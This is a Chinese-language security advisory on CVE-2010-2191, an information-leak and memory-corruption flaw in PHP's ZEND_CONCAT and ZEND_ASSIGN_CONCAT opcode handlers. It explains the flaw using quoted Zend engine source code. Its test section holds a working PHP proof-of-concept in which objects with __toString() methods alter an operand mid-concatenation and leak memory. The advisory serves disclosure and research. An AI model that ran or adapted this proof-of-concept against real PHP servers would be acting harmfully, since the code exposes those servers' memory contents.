安全研究
安全漏洞
PHP ZEND_CONCAT/ZEND_ASSIGN_CONCAT Opcode中断处理信息泄露漏洞
发布日期:2010-05-31
更新日期:2010-06-28
受影响系统:
PHP PHP <= 5.3.2描述:
PHP PHP <= 5.2.13
CVE ID: CVE-2010-2191
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
PHP的ZEND_CONCAT和ZEND_ASSIGN_CONCAT opcode实现中存在信息泄露漏洞。由于以上二者比较相似,这里仅以ZEND_CONCAT的实现为例:
ZEND_VM_HANDLER(8, ZEND_CONCAT, CONST|TMP|VAR|CV, CONST|TMP|VAR|CV)
{
zend_op *opline = EX(opline);
zend_free_op free_op1, free_op2;
concat_function(&EX_T(opline->result.u.var).tmp_var,
GET_OP1_ZVAL_PTR(BP_VAR_R),
GET_OP2_ZVAL_PTR(BP_VAR_R) TSRMLS_CC);
FREE_OP1();
FREE_OP2();
ZEND_VM_NEXT_OPCODE();
}
处理器本身仅调用concat_function(),向该函数传送临时的结果变量和两个操作数。concat_function()函数的实现如下:
ZEND_API int concat_function(zval *result, zval *op1, zval *op2 TSRMLS_DC) /* {{{ */
{
zval op1_copy, op2_copy;
int use_copy1 = 0, use_copy2 = 0;
if (Z_TYPE_P(op1) != IS_STRING) {
zend_make_printable_zval(op1, &op1_copy, &use_copy1);
}
if (Z_TYPE_P(op2) != IS_STRING) {
zend_make_printable_zval(op2, &op2_copy, &use_copy2);
}
if (use_copy1) {
/* We have created a converted copy of op1. Therefore, op1 won't become the result so
* we have to free it.
*/
if (result == op1) {
zval_dtor(op1);
}
op1 = &op1_copy;
}
if (use_copy2) {
op2 = &op2_copy;
}
if (result==op1) { /* special case, perform operations on result */
uint res_len = Z_STRLEN_P(op1) + Z_STRLEN_P(op2);
if (Z_STRLEN_P(result) < 0 || (int) (Z_STRLEN_P(op1) + Z_STRLEN_P(op2)) < 0) {
efree(Z_STRVAL_P(result));
ZVAL_EMPTY_STRING(result);
zend_error(E_ERROR, "String size overflow");
}
Z_STRVAL_P(result) = erealloc(Z_STRVAL_P(result), res_len+1);
memcpy(Z_STRVAL_P(result)+Z_STRLEN_P(result), Z_STRVAL_P(op2), Z_STRLEN_P(op2));
Z_STRVAL_P(result)[res_len]=0;
Z_STRLEN_P(result) = res_len;
} else {
Z_STRLEN_P(result) = Z_STRLEN_P(op1) + Z_STRLEN_P(op2);
Z_STRVAL_P(result) = (char *) emalloc(Z_STRLEN_P(result) + 1);
memcpy(Z_STRVAL_P(result), Z_STRVAL_P(op1), Z_STRLEN_P(op1));
memcpy(Z_STRVAL_P(result)+Z_STRLEN_P(op1), Z_STRVAL_P(op2), Z_STRLEN_P(op2));
Z_STRVAL_P(result)[Z_STRLEN_P(result)] = 0;
Z_TYPE_P(result) = IS_STRING;
}
if (use_copy1) {
zval_dtor(op1);
}
if (use_copy2) {
zval_dtor(op2);
}
return SUCCESS;
}
两个操作数在连接之前都首先转换为字符串。字符串转换支持__toString()方式对象,因此可轻易的被攻击者中断。攻击者可以将带有__toString()方式的对象用作第二个操作数以更改第一个操作数的类型。对于ZEND_CONCAT opcode的情况,第一个操作数与结果操作数不同,导致分配了所有两个字符串的内存之后将两个字符串都拷贝进去。对于已修改的操作数的情况,将非字符串内存拷贝到了缓冲区。
在ZEND_ASSIGN_CONCAT opcode的情况下,第一个操作数与结果是相同的,这意味着第一个操作数首先被重新分配,之后再附加第二个操作数。因此攻击者可以重新分配任意内存地址,释放任意内存块,导致执行任意代码。
<*来源:Stefan Esser (s.esser@ematters.de)
链接:http://www.php-security.org/2010/05/31/mops-2010-054-php-zend_concatzend_assign_concat-opcode-interruption-information-leak-and-memory-corruption-vulnerability/index.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
error_reporting(E_ALL);
class dummyLeakArray
{
function __toString()
{
parse_str("x=1", $GLOBALS['a']);
return "AAAAA";
}
}
/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
$GLOBALS['a'] = str_repeat("A", 39);
} else {
$GLOBALS['a'] = str_repeat("A", 67);
}
$b = new dummyLeakArray();
/* Trigger the Code */
$res = $a . $b;
hexdump($res);
class dummyLeakArbitrary
{
function __toString()
{
$GLOBALS['a'] += 0x55667788;
return "AAAAA";
}
}
/* Initialize */
$a = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
$b = new dummyLeakArbitrary();
/* Trigger the Code */
$res = $a . $b;
?>
建议:
厂商补丁:
PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.php.net
浏览次数:2592
严重程度:0(网友投票)
绿盟科技给您安全的保障
